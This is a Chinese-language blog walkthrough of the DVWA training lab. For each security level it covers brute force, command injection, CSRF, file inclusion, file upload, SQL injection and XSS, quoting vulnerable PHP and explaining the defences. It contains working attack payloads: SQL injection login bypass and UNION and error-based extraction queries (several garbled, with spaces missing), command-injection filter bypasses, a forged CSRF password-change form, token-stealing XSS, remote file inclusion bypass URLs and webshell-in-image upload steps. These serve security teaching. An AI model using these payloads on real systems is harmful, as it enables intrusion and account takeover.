DVWA全级别详细通关教程

目录

暴力破解——Brute Force

low

Medium

High

Impossible

 命令注入——Command Injection

 low

 Medium

 High

 Impossible

 CSRF——跨站请求伪造

low

Medium

High

Impossible

文件包含——File Inclusion

         low

 ​Medium

 High

 Impossible

 文件上传——File Upload

low

Mediun

High

Impossible

SQL注入——SQL Injection

low

Medium

High

Impossible

反射型XSS

low

Medium

High

Impossible

存储型XSS

DOM型XSS

 low

Medium

High

Impossible


暴力破解——Brute Force

low

1.直接用burpsuite抓包暴力破解

2.可以手工SQL注入(万能密码),在用户名框中输入admin' or '1'='1

代码审计一下

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	//isset() 函数用于检测变量是否已设置并且非 NULL
    // Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );
    //被get传递的$pass进行md5加密
	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysqli_query()函数执行某个针对数据库的查询。
    //die() 函数输出一条消息,并退出当前脚本。

	if( $result && mysqli_num_rows( $result ) == 1 ) {
	//mysqli_num_rows() 函数返回结果集中行的数量	
    //mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
    // Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

需要满足$result && mysqli_num_rows( $result ) == 1才能登录成功

当 admin'or'1'='1 ,则 $query="SELECT * FROM `users` WHERE user = '$admin'or'1'='1' AND password = '$pass';"

可以满足$result && mysqli_num_rows( $result ) == 1

Medium

1.跟low差不多,直接用burpsuite抓包暴力破解

相比low级别,medium增加了 mysqli_real_escape_string()函数,这个函数会对字符串中的特殊符号,如:x00、\n、\r、\、'\、"、\x1a进行转义,基本可以抵御sql注入。

但是,没有加入有效的防爆破机制,还是可以用burpsuite爆破。

High

抓包查看 ,发现有token,用token机制来遏制暴力破解,增加了爆破的难度

关于Token机制的工作原理(不会画图,勉强看)

利用burpsuite中的“宏”(macro)机制来完成爆破

burpsuite抓包,发送到intruder,选中密码和Token,设置攻击模式

线程为1(为了防止暴力破解,服务端总是单线程,单会话会分配Token)

重定向设为“总是”(总共4次对话,才完成登录认证,所以需要重定向)

在grep-extract中点击add,选择refetch response(获取回复)

复制Token值

设置有效负载,第一个参数是密码,导入字典

 第二个参数是Token,将刚刚复制的Token值粘贴进来

 

 开始爆破,爆破完后,数字不同即为结果

Impossible

 impossible级别的代码加入了可靠的放爆破机制,当检测到频繁错误登录后,系统会将账户锁定,爆破也就无法继续。(当用户登录失败达到3次,将会锁住账号15秒)

同时采用了更为安全的PDO(PHP Data Object)机制防御SQL注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而SQL注入的关键就是通过破坏SQL语句结构执行恶意的SQL命令

 命令注入——Command Injection

命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

 low

 输入127.0.0.1

有乱码,将文件dvwaPage.inc.php中的utf-8改成gb2312

 

 

变正常了

 

代码审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];      //这里没有过滤

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );  //执行ping命令
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

 这里使用了两个和安全无关的函数

stristr(string,search,before,search),搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分,如果没找到,返回false。

php_uname(mode),返回运行php的操作系统的相关描述。

Medium

查看代码,设置了黑名单,过滤了&&和;

可以使用&或者|之类的连接符绕过

 High

查看代码,high级别进一步完善了黑名单,但是因为黑名单的局限性,我们依然可以绕过

 Impossible

 查看代码,impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格限制,只有像“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

 CSRF——跨站请求伪造

csrf(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie,会话),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害者不知情的情况下,以受害者身份向服务器发送请求,从而完成非法操作。(如转账、改密、发帖等)

low

 这是一个修改密码的页面,修改试试,修改成功,并且是以get方式传输的

从有源码中,可以知道,服务器收到修改密码的请求后,会检查参数$pass_new与$pass_conf是否相同,如果相同就会修改密码,并且没有任何的防csrf机制

我们就直接在URL中修改内容,看是否能执行成功。

修改内容后,复制这个新URL重新打开一个界面,如下图

(必须使用同一个浏览器,因为在访问页面时通常存在cookie认证,否则即使点击了恶意链接也没用。)

 之前修改的密码为123456,现在在URL上,改成了abcd,验证一下是否密码被改成了abcd

admin/abcd,登录成功

admin/123456 ,登陆失败 (所以是可以修改成功的)

 

 我们可以准备一架“僚机”,就是互联网上经过伪装的另外的网站

这里使用了在本地搭建的另外一个网站,在里面写入一个攻击页面,诱骗受害者去访问

完成csrf攻击的条件:受害者处于登录,保持会话的状态,诱骗受害者点击恶意构造的页面

(通常是给受害者发送一个链接,而在正常的情况下我们通常不会点击一个很长的看起来就不正常的链接,所以我们可以利用短链接来进行伪装)

这是当受害者点击后的状态,页面被伪装成“404”,密码已经被修改

 去验证下,密码是否修改,修改前为abcd,修改后为qqqq(登陆成功,成功修改了密码)

 Medium

直接修改url,提示请求错误

抓包发现referer

查看源码,medium级别中检查了保留HTTP_REFERER(HTTP包头的referer参数值,表示来源地址)中是否包含SERVER_NAME(HTTP中的host参数)

过滤规则是,http包头中的referer必须包含“主机名”

将僚机上的攻击页面命名为[SERVER_NAME].html,然后诱骗受害者点击,referer应该为http://僚机网站ip/被攻击者网站ip.html,包含了host字段

还可以直接在http包头添加referer:http://(包含主机名)

High

发现添加了token验证

查看源码,high级别加入了token机制,当用户访问修改密码页面时,服务器会返回一个随机token,向服务器发起请求时,需要提交token,服务器接收请求时会先检查token,只有token正确,才处理请求。

 如果要绕过这个机制,就要获取token,利用受害者的cookie去修改密码

在存储型XSS中txtname框输入以下语句,因为有字数限制,所以需要拦截后更改。

txtName=<iframe src="../CSRF" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

 获得token=ccbfd7ff861de1e4499ca417c6b1979a

 回到密码更改的抓包界面,将新的token替换,修改包中的密码

测试是否修改成功,用admin/1234567成功登录

 我们将如下代码,放到之前low中的“僚机”,然后去访问它

<html>
    <body>
        <form action="http://dvwa/vulnerabilities/csrf/?">
            <input type="hidden" name="password_new" value="123456"/>
            <input type="hidden" name="password_conf" value="123456"/>
            <input type="hidden" name="Change" value="Change"/>
            <input type="hidden" name="user_token" value="d49c26556fe87efc646c10bd59dca5d3"/>
            <input type="submit" value="Ciick Me"/>
        </form>
    </body>
</html>

点击click me密码修改成功,测试是否修改成功,改前是1234567,改后是123456

admin/1234567登录失败,admin/123456登录成功

 Impossible

impossible级别代码利用PDO技术防御SQL注入;至于防护CSRF,则要求用户输入原始密码,在攻击者不知道原始密码的情况下,无法进行CSRF攻击

文件包含——File Inclusion

文件包含,是指当服务器开启aliow_url_include选项时,就可以通过php的某些特性函数(include()、include_once()、requre_once()),利用url动态包含文件,如果没有对文件来源进行严格审查,就会导致被攻击网站上任意文件读取或者任意命令执行。

 文件包含漏洞分类:分为本地文件包含、远程文件包含漏洞,远程文件包含漏洞是因为开启了php中allow_url_fopen,开启后,服务器允许包含一个远程文件(位于其他站点)。

 文件包含的特点:服务器包含文件时,不管后缀是否为.php,都会尝试当作php文件执行。如果文件内容是php脚本,它就会执行并返回结果,如果不是,就直接打印出来。所以文件包含漏洞会导致任意文件读取和任意命令执行

low

以下题目的意思是,点击下面三个链接,服务器会包含相应文件,并返回结果

注意:如果显示allow_url_inlude没有开启,就在以下路径,修改对应自己网站php版本,里面的php.ini文件,将allow_url_inlude=Off改成allow_url_inlude=ON,然后重新打开即可

查看源码,没有对page做任何过滤

本地文件包含:

1.假设对方服务器是linux,就可以尝试读取/etc/passwd

2.可以尝试猜测其他文件
http://dvwa/vulnerabilities/fi/?page=d:\文件

远程文件包含:
1.远程文件包含容易导致任意远程代码执行
2.http://dvwa/vulnerabilities/fi/?page=http://ip/可执行脚本



Medium

在low的基础上增加了str_replace()函数,对page的参数进行了一些处理,将http://,https://,../,..\,替换为空字符

1.本地文件包含:
这里对在low等级使用的方法没有影响,依旧可以使用
2.远程文件包含:
可以利用它的过滤特性,用双写即可绕过
http://dvwa/vulnerabilities/fi/?page=hhttp://ttp://ip/可执行脚本

 High

 High级别代码中使用了fnmatch()函数来检查page参数中是否是file开头,是file开头服务器才会去包含相应文件

1.本地文件包含:(加上file)
http://dvwa/vulnerabilities/fi/?page=file://d:/文件

 Impossible

 impossible级别代码使用了白名单机制防护,page只能是include.php ,file1.php ,file2.php ,file3.php,彻底杜绝了文件包含漏洞

 文件上传——File Upload

文件上传漏洞,通常是因为对于上传的文件类型、内容,没有进行严格过滤、检查,导致攻击者可以通过上传木马获得服务器的webshell权限。

漏洞利用条件:能成功上传木马,上传文件能被执行,上传文件路径可知

low

 直接上传了一个php文件,且成功上传(php文件内容是一句话木马)

  服务器对上传文件没有做任何过滤检查,生产上传路径后,服务器会检查是否上传成功并返回相应提示信息

Mediun

上传php文件被拦截,提示只能上传图片


上传一个内容为一句话木马的图片,然后抓包

将jpg改成php,发送,上传成功

然后用蚁剑或菜刀连接即可
查看源码,发现对文件上传的类型、大小做了限制,类型必须是jpeg、png,大小不超过100000B

High

源码如下,通过字符串匹配来确定文件后缀名,要求文件名后缀必须是".jpg" ,".png", ".jpeg"。同时使用getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头则报错。

1.用文件上传+文件包含漏洞
方法一:上传一个正常的图片,抓包,在图片末尾添加一句话木马,发送,上传成功
方法二:上传一个图片马,图片马制作:copy 1.jpg/b + 2.php/a muma.jpg

利用dvwa的文件包含漏洞(low)
这个 url 使得一句话木马被解析 ,用蚁剑连接

2.利用文件上传+命令注入漏洞
利用命令注入漏洞将3.png重命名为3.php
127.0.0.1|rename..\..\hackable\uploads\3.png 3.php

 

Impossible

 impossible级别代码对上传文件进行了重命名(md5),加入Anti-CSRF token防护csrf攻击,上传后不显示文件上传的路径,而且将图片进行重制,恶意脚本会被消除。
同时使用上诉所有机制对文件的内容,导致攻击者无法上传木马文件。
为了防御这种攻击,可以使用白名单判断文件类型和后缀是否合法,同时对上传后的文件进行重命名防止被攻击者利用。

SQL注入——SQL Injection

SQLInjection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的。结构,从而达到执行恶意SQL语句的目的。

low

 low级代码中,没有对来自客户端的参数id做任何检查与过滤

1、判断是否存在注入点,是字符型还是数字形
输入1and1=1/2,发现查询都能成功;
输入1’,查询失败,报错,注入点为字符型

 2.判断字段数
order by 2#显示正常,order by 3#报错,则字段数为2

3.查看当前数据库名,dvwa

 4.获取表名
1'  and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
5.获取字段名
1'and1=2unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_schema='dvwa'andtable_name='users'#

Medium

 

这里是一个下拉菜单,不能直接测试,抓个包
id=1'报错,存在sql注入字符型

 其他步骤与low相同,因为‘与“被转义了,所以不能直接写数据库名和表名,需要转换成十六进制

1.由于转义了后,变为了整数型注入,利用之前得到的信息,直接来爆破库名þ1and1=2unionselect1,concat(database(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx#
2.爆破表的数量þ1and1=2unionselect1,concat((selectcount(table_name)frominformation_schema.tableswheretable_schema=database()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx#
3.爆破表的名字þ1and1=2unionselect1,concat((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx#

High

添加了LIMIT 1,但是可以通过#将其注释掉
1'or1=2unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#

Impossible

 Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注þ返回的查询结果数量为1时,才会成功输出,有效预防了“脱裤”;入;Anti-CSRFtoken机制的加入,进一步提高了安全性。

反射型XSS

 XSS,跨站脚本攻击,指攻击者在页面注入恶意脚本代码,当受害者访问该页面,恶意代码会在其浏览器上执行。
注:XSS不限于JavaScript,还包括flash等其他脚本语言

low

low等级,代码直接引用了name参数,没有任何检查和过滤

 
输入js代码,弹窗

Medium

medium等级,使用str_replace函数将<script>过滤掉了

用大小写,双写绕过

High

 High级别的代码,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

 <script>不能用了,但是还可以用img,body等标签或者iframe等标签的src注入恶意的js代码。
用<img src=1 οnerrοr=alert(1)>,成功弹窗

Impossible

 Impossible级别的代码使用htmlspecialchars()函数把几个预定义的字符转换为HTML实体,防止浏览器将这些符号作为HTML指令元素
'(单引号)转换成&#039;
<(小于)转换成&lt;
&(和号)转换成&amp;
"(双引号)转换成&quot;
>(大于)转换成&gt;

存储型XSS

存储型XSS可以将用户构造的有害输入直接存储起来,目标网站的用户只要访问被插入的恶意代码,网站就能触发,相比较反射型XSS更为隐蔽,危害更大。

做法跟反射型XSS一样

DOM型XSS

DOMXSS和前面的两种XSS的区别主要是:DOMXSS的产生并没有和后台服务器产生交互,而是通过浏览器的Document对象树解析产生的 

 low

查看源码,在服务端没有php代码,所以查看前端代码,前端只有js来处理请求
直接在url后面构造js语句

Medium

 后端做了限制,前端无变化。不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过。

 如果URL中有一个字符为#,该符号后面的数据就不会发送到服务器端,从而绕过服务端过滤;

 (也可以用img标签的方法)

High

还是后端做了限制,前端没变,后端判断要求default必须为select中的值
还是可以用#符号绕过

Impossible

后端无代码
前端做了url编码处理

  • 10
    点赞
  • 67
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值